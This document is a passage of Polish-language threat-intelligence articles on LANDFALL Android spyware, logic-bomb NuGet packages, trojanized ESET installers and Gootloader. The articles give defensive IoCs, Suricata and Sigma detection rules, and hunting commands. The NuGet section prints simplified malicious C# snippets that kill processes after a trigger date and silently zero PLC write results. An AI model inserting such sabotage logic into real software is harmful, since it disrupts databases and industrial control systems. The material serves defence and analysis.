adb shell 'logcat -d | grep -iE "Bridge Head|b\.so|l\.so"'

(szukamy obecności b.so, l.so, plików XZ/ZIP i wzmianki „Bridge Head”).

Suricata (SNI/domains) – minimalny szkic reguł IOC

# Uwaga: dopasowania oparte o SNI/DNS tylko pomocniczo; użyj listy pełnych IoC Unit 42
- action: alert
  signature: 'LANDFALL C2 SNI brightvideodesigns'
  tls.sni:
    - 'brightvideodesigns.com'
- action: alert
  signature: 'LANDFALL C2 SNI healthyeatingontherun'
  tls.sni:
    - 'healthyeatingontherun.com'

Sigma (Windows proxy/syslog z MDM) – detekcja nietypowych transferów z urządzeń mobilnych

title: Suspicious Mobile Egress to LANDFALL IoC
status: experimental
logsource:
  product: proxy
detection:
  sel1:
    cs-host|contains:
      - brightvideodesigns.com
      - healthyeatingontherun.com
      - hotelsitereview.com
      - projectmanagerskills.com
condition: sel1
level: high

3) Hardening i polityki

  • Wyłącz automatyczne zapisywanie multimediów w komunikatorach w profilach roboczych (Work Profile).
  • Wymuś Always-On-VPN i DNS ochronny na profilach korporacyjnych; loguj SNI/DoH.
  • Blokuj instalację aplikacji spoza sklepu i USB debugging w produkcji (dozwolony tylko w labie forensycznym).
  • EDR/MTD na Androida z analizą treści obrazów (MIME sniffing) i emulacją parserów.

4) Reagowanie incydentowe (skrót)

  1. Izoluj urządzenie od sieci komórkowej/Wi-Fi, zachowując stan (tryb samolotowy bez wyłączenia).
  2. Zrób kopia-obraz użytkownika (jeśli MDM/MTD wspiera) oraz eksport logcat.
  3. Wdróż update SMR i sprawdź IoC (ścieżki, domeny/IP, artefakty SELinux).
  4. Rotacja tokenów i haseł powiązanych z kontami użytkownika.
  5. Raport do CERT/CSIRT i aktualizacja polityk MDM.

Różnice / porównania z innymi przypadkami

  • CVE-2025-21042 vs CVE-2025-21043 (Samsung/Android): obie luki dotyczą tej samej biblioteki (libimagecodec.quram.so), obie umożliwiają RCE przez malformowane DNG; 21042 wykorzystywana w kampanii LANDFALL (załatana kwiecień 2025), 21043 – zgłoszona przez Meta/WhatsApp, potwierdzona eksploatacja w środowisku (wrzesień 2025).
  • iOS łańcuch 2025: CVE-2025-43300 (DNG parser) + CVE-2025-55177 (WhatsApp) pozwalały osiągnąć zbliżony efekt zero-click przez obraz przesłany w komunikatorze, ale to osobny łańcuch — Unit 42 nie potwierdził, że iOS-owy łańcuch dostarczał LANDFALL.

Podsumowanie / kluczowe wnioski

  • Parsery obrazów to dziś realny wektor RCE na urządzeniach mobilnych — plik graficzny może być nośnikiem exploita.
  • LANDFALL pokazuje, jak komercyjne toolkity spyware łączą zero-day + manipulację SELinux dla trwałości i pełnego nadzoru nad urządzeniem.
  • Organizacje powinny traktować SMR/ASB jak krytyczne patche serwerowe: wymuszać aktualizacje, izolować profile robocze, wdrażać MTD/EDR z telemetrią sieciową oraz polityki ograniczające RAW/DNG w kanałach komunikacyjnych.

Źródła / bibliografia

  • Palo Alto Networks Unit 42 — pełna analiza LANDFALL (IoC, szczegóły techniczne, SELinux, ścieżki, pliki). (Unit 42)
  • SecurityWeek — przegląd i kluczowe fakty (modele Galaxy, timeline, MENA). (SecurityWeek)
  • Samsung Mobile Security — SMR-APR-2025 (CVE-2025-21042, krytyczne RCE), SMR-SEP-2025 (CVE-2025-21043, exploitation in the wild). (Samsung Mobile Security)
  • NVD — karta CVE-2025-21042 (opis i metryki CVSS). (NVD)
  • WhatsApp Security Advisories 2025 — opis CVE-2025-55177 (łańcuch iOS + WhatsApp). (WhatsApp.com)

Ukryte „logic bombs” w złośliwych pakietach NuGet: opóźniona destrukcja baz danych i systemów przemysłowych

Wprowadzenie do problemu / definicja luki

Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.


W skrócie

  • Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem shanhai666 na NuGet, łącznie ~9,5 tys. pobrań.
  • Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
  • Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu.
  • Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
  • Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.

Kontekst / historia / powiązania

Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.


Analiza techniczna / szczegóły luki

1) Wstrzyknięcie przez extension methods

Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:

public static class SqlCommandExtend {
    static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
    public static SqlCommand Exec(this SqlCommand cmd) {
        if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
            Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
        }
        return cmd;
    }
}

W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).

2) Sharp7Extend — sabotaż ICS (S7)

  • Natychmiastowy mechanizm Process.Kill() aktywny do 2028-06-06 (odwrócona logika daty).
  • Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do 0 w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
    Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
  public static int Filter(this int res) {
    if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
    return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
  }
}

Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.

3) Typosquatting i „fałszywe poczucie bezpieczeństwa”

Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.

4) Daty-wyzwalacze & probabilistyka

  • DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
  • ICS: aktywny od razu do 2028-06-06.
  • Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.

Praktyczne konsekwencje / ryzyko

  • Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
  • Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
  • ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.

Rekomendacje operacyjne / co zrobić teraz

0) Zakres incydentu i kryteria ryzyka

Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.

1) Szybki triage — znajdź i odetnij pakiety

Enumeracja pakietów w repo i hostach:

# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .

# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive

# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print

Skan wzorców „extension method injection”:

# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .

Blokada źródła:

  • Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
  • W CI zablokuj rozwiązywanie spoza mirror’a: NUGET_PACKAGES, restoreSources.

Przykładowe nuget.config (pinning):

<configuration>
  <packageSources>
    <clear />
    <add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
  </packageSources>
  <trustedSigners>
    <author name="CorpReleaseKey">
      <certificate fingerprint="‎AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
    </author>
  </trustedSigners>
</configuration>

2) Detekcja runtime / telemetry hunting

.NET (ETW/PerfView/Defender for Endpoint kusto):

DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
    or ProcessCommandLine has "System.Diagnostics.Process.Kill"

Anomalia „losowych restartów” po zapytaniach DB:

  • Koreluj SqlClient error’y / brak logs z Kill().
  • W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.

AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.

3) Usuwanie i weryfikacja integralności

  • Usuń zainfekowane pakiety z repo i lockfile’y; wymuś dotnet nuget locals all --clear na build-agentach i serwerach.
  • Rebuild + redeploy z czystego cache.
  • Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
  • ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.

4) Hardening łańcucha dostaw

  • SBOM (np. dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET).
  • Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
  • Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
  • Skany SCA z regułami niestandardowymi (heurystyki extension methods, Process.Kill()).

5) IOC / nazwy pakietów do bloku

Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)


Różnice / porównania z innymi przypadkami

  • npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
  • NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
  • ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.

Podsumowanie / kluczowe wnioski

  • Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
  • Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
  • Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
  • Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
    Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.

Źródła / bibliografia

  • Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
  • The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
  • BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
  • The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
  • Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)

Trojanizowane instalatory ESET dostarczają backdoora Kalambur. Kampania phishingowa na Ukrainie (InedibleOchotense)

Wprowadzenie do problemu / definicja luki

Nowo zidentyfikowany klaster aktywności „InedibleOchotense”, oceniany jako powiązany z Rosją, podszywa się pod firmę ESET i rozsyła do ukraińskich podmiotów spreparowane instalatory produktów ESET. Fałszywe pakiety instalacyjne dołączają prawdziwy komponent ESET AV Remover, ale potajemnie doinstalowują backdoora Kalambur (aka SUMBUR), który wykorzystuje sieć Tor do C2 i może włączać zdalny dostęp (m.in. RDP/3389) oraz doinstalowywać OpenSSH. Dystrybucja odbywa się przez spear-phishing i wiadomości w Signal, z linkami do domen stylizowanych na ESET, m.in. esetsmart[.]com, esetscanner[.]com, esetremover[.]com.

W skrócie

  • Atakujący podszywają się pod ESET i skłaniają ofiary do pobrania trojanizowanego instalatora.
  • Łańcuch infekcji dostarcza Kalambur/SUMBUR (C#) z Tor-owym C2, a obok instaluje legalny AV Remover – to zabieg uwiarygadniający.
  • Kampania obserwowana od maja 2025 r. uderza w podmioty na Ukrainie.
  • TTP wykazują nakładanie się z wcześniejszymi aktywnościami Sandworm/APT44 (m.in. wątki UAC-0212/UAC-0125).

Kontekst / historia / powiązania

ESET opisuje tę falę w swoim najnowszym APT Activity Report (zakres kwiecień–wrzesień 2025), zwracając uwagę na utrzymujący się priorytet rosyjskich grup wobec Ukrainy i UE. Równolegle wcześniejsze analizy EclecticIQ i alerty środowiska CERT-ów wskazywały na podobne sztuczki z trojanizowanymi narzędziami oraz sub-klastry UAC-0212 / UAC-0125 przypisywane do Sandworm/APT44.

Analiza techniczna / szczegóły luki

Wektor wejścia: ukierunkowane e-maile (po ukraińsku, z wyłapanymi „rusycyzmami”) oraz wiadomości w Signal zawierają link do pobrania „instalatora ESET”. Hostowanie na domenach łudząco podobnych do marki zwiększa konwersję.
Pakiet instalacyjny: uruchamia autentyczny ESET AV Remover (element „zasłony dymnej”), a równolegle dropuje i uruchamia Kalambur/SUMBUR.
Backdoor: napisany w C#, utrzymuje łączność przez Tor (C2), potrafi dograć OpenSSH i otworzyć RDP (3389), rozszerzając trwałość i zdalne sterowanie hostem.
Atrybucja: ESET wskazuje na nakładanie się TTP z opisywaną przez EclecticIQ kampanią BACKORDER i aktywnościami klasyfikowanymi przez CERT-UA jako UAC-0212; osobne raporty łączą z tym spektrum także UAC-0125. ESET podkreśla jednak, że pełne zrównanie klastrów nie jest w 100% potwierdzone.

Praktyczne konsekwencje / ryzyko

  • Zaufanie do marki: wykorzystanie brandu ESET oraz dołączenie prawdziwego komponentu utrudnia detekcję „na oko” i obniża czujność użytkowników i helpdesku.
  • Szybka eskalacja: natychmiastowa dostępność RDP/OpenSSH po instalacji daje operatorom wygodny kanał Lateral Movement.
  • Trwałość i ukrycie: Tor utrudnia blokowanie i korelację zdarzeń w SIEM/SOAR bez profilowanych detekcji.
  • Ryzyko dla łańcucha dostaw: zgodnie z trendami z raportów APT, celami są instytucje rządowe, energia, logistyka, edukacja; kompromitacje dostawców mogą kaskadowo dotykać klientów.

Rekomendacje operacyjne / co zrobić teraz

  1. Blokady domen i IoC: natychmiastowo zablokować esetsmart[.]com, esetscanner[.]com, esetremover[.]com i powiązane hosty; uaktualnić filtry w proxy/DNS.
  2. Kontrola źródeł oprogramowania: egzekwować politykę pobierania instalatorów wyłącznie z oficjalnych domen producenta i poprzez zaufane repozytoria/PKI; wprowadzić hash-pinning dla instalatorów.
  3. Detekcje behawioralne:
    • Wykrywanie nietypowego uruchomienia AV Remover ze ścieżek tymczasowych/użytkownika.
    • Reguły na tworzenie/usługi OpenSSH w Windows, na zmiany RDP/3389, oraz procesy ładujące biblioteki Tor.
    • Telemetria C2 przez Tor (nowe procesy tor.exe, nietypowe porty, długie sesje TCP do węzłów wejściowych).
      Wzorce TTP można wzbogacić gotowymi regułami SIGMA przygotowanymi pod UAC-0212/UAC-0125.
  4. Twardnienie stacji roboczych: wyłączanie RDP tam, gdzie zbędny; MFA do zdalnych usług; AppLocker/WDAC dla instalatorów spoza „allowlist”.
  5. Edukacja użytkowników: komunikat „ESET nie wysyła instalatorów w wiadomościach” + procedura zgłaszania podejrzanych linków (phishing w jęz. ukraińskim z błędami językowymi).
  6. Hunting/IR szybkie sprawdzenia:
    • Ostatnie polecenia RDP, nowe lokalne konta, wpisy Firewall otwierające 3389.
    • Ślady OpenSSH na hostach Windows.
    • Artefakty instalatora w %TEMP%, nietypowe ścieżki wykonywalne podpisane „ESET” bez ważnej sygnatury.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • W lutym 2025 r. opisywano kampanie Sandworm oparte na trojanizowanych narzędziach KMS i fałszywych installerach – obecny przypadek jest bardziej wyrafinowany socjotechnicznie poprzez użycie marki ESET oraz włączenie legalnego komponentu w pakiecie.
  • Nakładanie TTP z UAC-0212 / UAC-0125 łączy obecną kampanię z ekosystemem APT44, ale pełna tożsamość pozostaje przedmiotem analizy (ostrożność w atrybucji!).

Podsumowanie / kluczowe wnioski

  • Atakujący instrumentalizują zaufanie do producenta AV i łączą legalny komponent z malware w jednym installerze.
  • Kalambur/SUMBUR zapewnia ciche, trwałe RCE i kanały zdalnego dostępu (Tor + RDP/OpenSSH).
  • Higiena źródeł oprogramowania, detekcje behawioralne i blokady IoC to najszybsze środki ograniczające ryzyko.
  • Trendy z raportów APT ESET wskazują, że Ukraina i UE pozostają priorytetowymi celami rosyjskich grup – należy utrzymywać podwyższoną gotowość.

Źródła / bibliografia

  1. The Hacker News — Trojanized ESET Installers Drop Kalambur Backdoor in Phishing Attacks on Ukraine (06.11.2025). (The Hacker News)
  2. Help Net Security — Russia-linked hackers intensify attacks as global APT activity shifts (omówienie ESET APT Activity Report, 06.11.2025). (Help Net Security)
  3. EclecticIQ — Sandworm APT Targets Ukrainian Users with Trojanized Microsoft KMS Activation Tools… (11.02.2025). (blog.eclecticiq.com)
  4. SOC Prime — Detecting UAC-0212 attacks linked to Sandworm APT subcluster (24.02.2025). (SOC Prime)
  5. INCIBE-CERT — UAC-0212 attack campaign against critical infrastructures in Ukraine (25.03.2025, z referencjami do CERT-UA #13702). (INCIBE)

Gootloader wraca do gry: nowe sztuczki, szybka eskalacja i ścieżka do ransomware

Wprowadzenie do problemu / definicja luki

Gootloader to złośliwy loader oparty na JavaScript, wykorzystywany przede wszystkim do pozyskiwania wstępnego dostępu (IAB) i dalszego dostarczania ładunków – od backdoorów po ransomware. Po okresie wyciszenia znów jest aktywny i łączy SEO poisoning/malvertising z hostowaniem artefaktów na zhakowanych stronach (często WordPress), przekonując ofiary do pobrania archiwum ZIP z plikiem .js. Najnowsza fala przynosi świeże techniki ukrywania i bardzo szybkie tempo eskalacji w sieci ofiary.

W skrócie

  • Po ~7-miesięcznej przerwie operatorzy Gootloadera wrócili z nową kampanią podszywającą się pod szablony dokumentów prawnych (NDA, umowy).
  • Widzimy customowy font WOFF2 z podmianą glifów do zaciemniania nazw plików w źródle strony oraz nietypowe/malformowane ZIP-y, które różnie rozpakowują się w zależności od narzędzia.
  • Po infekcji atakujący potrafią skompromitować kontroler domeny w ~17 godzin – okno detekcji jest bardzo wąskie.
  • W łańcuchu nadużyć obserwowany jest backdoor Supper (SOCKS5) oraz powiązania ze Storm-0494 → Vanilla Tempest (Rhysida) jako etapami post-eksploatacyjnymi.

Kontekst / historia / powiązania

Gootloader (rodzina Gootkit) jest opisywany od co najmniej 2020 r. i znany z SEO poisoning oraz dostarczania m.in. Cobalt Strike czy ransomware (SunCrypt/REvil w starszych falach). W 2022–2024 analizy branżowe dokumentowały fileless wykonanie przez PowerShell, zadania Harmonogramu i dystrybucję przez spreparowane fora/strony z „szablonami”. Obecny powrót wpisuje się w model access-as-a-service – loader sprzedaje/przekazuje dostęp afiliantom ransomware.

Analiza techniczna / szczegóły luki

Nowe elementy obserwowane (Q4 2025):

  • WOFF2 + podmiana glifów: na stronie ofiary w źródle widnieją „śmieciowe” ciągi znaków, lecz po renderowaniu font zamienia je na czytelne nazwy (np. Florida_HOA_…pdf). To omija proste skanowanie stringów i utrudnia analizę statyczną. Font bywa osadzony w JS (Z85/Base85), a nie przez typową tabelę mapowania.
  • Dostawa przez WordPress /wp-comments-post.php: klik w przycisk „Download” wysyła POST z parametrem identyfikującym treść i zwraca XOR-szyfrowany ZIP; różne payloady mają własne klucze wyliczane z nazwy pliku.
  • Malformowane archiwa ZIP: ten sam ZIP może rozpakować złośliwy .js w Eksploratorze Windows, ale „niewinny” plik tekstowy w 7-Zip/Python/VirusTotal – zabieg anty-analizowy i anty-automat.
  • Utrwalenie (persistence): zamiast wyłącznie zadań harmonogramu obserwuje się skróty LNK w katalogu Startup i odwołania w stylu 8.3 short filenames (np. EMCCON1.JS).
  • Tempo operacyjne: rozpoznanie w ~20 min, później enumeracja AD (Kerberoasting, SPN), ruch boczny (WinRM), tworzenie kont DA i przygotowania do ransomware (cienie VSS) – DC bywa przejmowany w <17 h.
  • Łańcuch afiliantów: infekcje Gootloader → Supper SOCKS5 → aktywność Vanilla Tempest/Rhysida (różne rodziny ransomware w historii afilianta).

Praktyczne konsekwencje / ryzyko

  • Bardzo krótki czas reakcji: od kliknięcia do przyczółka w AD mijają godziny, nie dni. Zespoły SOC muszą mieć gotowe detekcje behawioralne na wczesne oznaki (nietypowy PowerShell, enumeracja AD, WinRM, tworzenie kont DA).
  • Zwiększone ryzyko phishingu „wyszukiwarkowego”: użytkownicy szukający dokumentów prawnych/szablonów to grupa wysokiego ryzyka.
  • Ewazja skanerów: WOFF2-glify i ZIP-tricki obniżają skuteczność automatycznego Triage/sandboxów, co wymusza telemetrię EDR/XDR i korelację zdarzeń.

Rekomendacje operacyjne / co zrobić teraz

Prewencja i kontrola treści

  1. Blokady kategorii: filtrowanie zapytań/stron z „free templates”, „NDA template”, „legal agreement download” itp.; egzekwuj pobieranie wzorów wyłącznie ze zweryfikowanych źródeł firmowych.
  2. Twarde reguły dla archiwów/JS: blokuj wykonywanie .js/.jse z archiwów użytkownika; wymuszaj rozpakowywanie ZIP-ów w kontrolowanym narzędziu z inspekcją zawartości.

Telemetria i detekcje
3. EDR/XDR: alerty na nietypowy PowerShell z łańcuchami enkodowanych poleceń, tworzenie LNK w Startup, użycie ścieżek 8.3, świeże WinRM do hostów serwerowych, szybkie sekwencje AD enum → konto DA → VSS. (MITRE: T1059, T1547.001, T1021.006, T1003/T1087).
4. Sieć: wychwytuj SOCKS5/„Supper” i powiązane C2 z najnowszych IoC/YARA publikowanych przez badaczy. Wdróż egr-filtering + DNS sinkhole dla wskazanych domen/IP.

Twardnienie środowiska
5. Ogranicz WinRM, włącz Credential Guard, Secured Core (tam gdzie możliwe), segmentację DC i stacji IT, zasada PAW dla administracji domeną.
6. Applocker/WDAC: blokuj wykonywanie skryptów z profilu użytkownika (%AppData%, %TEMP%).
7. Atak powierzchnia AD: rotacja haseł kont uprzywilejowanych, Tiering tożsamości, restrykcja Kerberoastingu (kontrola SPN, AES-only), monitorowanie nietypowych biletów.

Response
8. Playbook „Gootloader-like”: natychmiastowa izolacja hosta z pierwszą egzekucją JS/PS, analiza LNK/Startup, przegląd nowo utworzonych kont DA, kontrola VSS/backups, pamiętaj o triage DC w <12 h. (Case studies wskazują, że okno to <17 h).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Kiedyś: forumowe strony-przynęty, zadania harmonogramu, fileless PowerShell → Cobalt Strike. Dziś: legal-templates + WOFF2 glify, ZIP-anty-analiza, persistence przez Startup/LNK i szybkie użycie Supper. Ewolucja nakierowana jest na utratę widoczności przez analystów i skrócenie czasu do dominacji w AD.

Podsumowanie / kluczowe wnioski

Gootloader wrócił i przyspieszył. Najważniejsza zmiana to ewazja na warstwie przeglądarki (WOFF2) i artefaktów (ZIP), w połączeniu z przewidywalnym, ale bardzo szybkim łańcuchem AD-centric. Obrona musi skupić się na wczesnych wskaźnikach zachowania oraz twardych politykach blokujących wykonywanie skryptów i ruch boczny, bo po kilkunastu godzinach bywa już za późno.

Źródła / bibliografia

  • The Register — „Gootloader malware back for the attack, serves up ransomware”, 6 listopada 2025. (The Register)
  • Huntress — „Gootloader Returns: What Goodies Did They Bring?”, 5 listopada 2025 (szczegóły: WOFF2, WordPress comments, IoC/YARA, Supper, 17 h → DC). (Huntress)
  • BleepingComputer — „Gootloader malware is back with new tricks after 7-month break”, 5 listopada 2025 (malformowane ZIP-y, kampania „legal templates”). (BleepingComputer)
  • Intel471 — „Threat hunting case study: Tracking down GootLoader”, 20 sierpnia 2024 (kontekst SEO poisoning, rola IAB). (Intel471)
  • Trend Micro — „Gootkit Loader’s Updated Tactics and Fileless Delivery of Cobalt Strike”, 27 lipca 2022 (tło technik fileless, wcześniejsze kampanie). (www.trendmicro.com)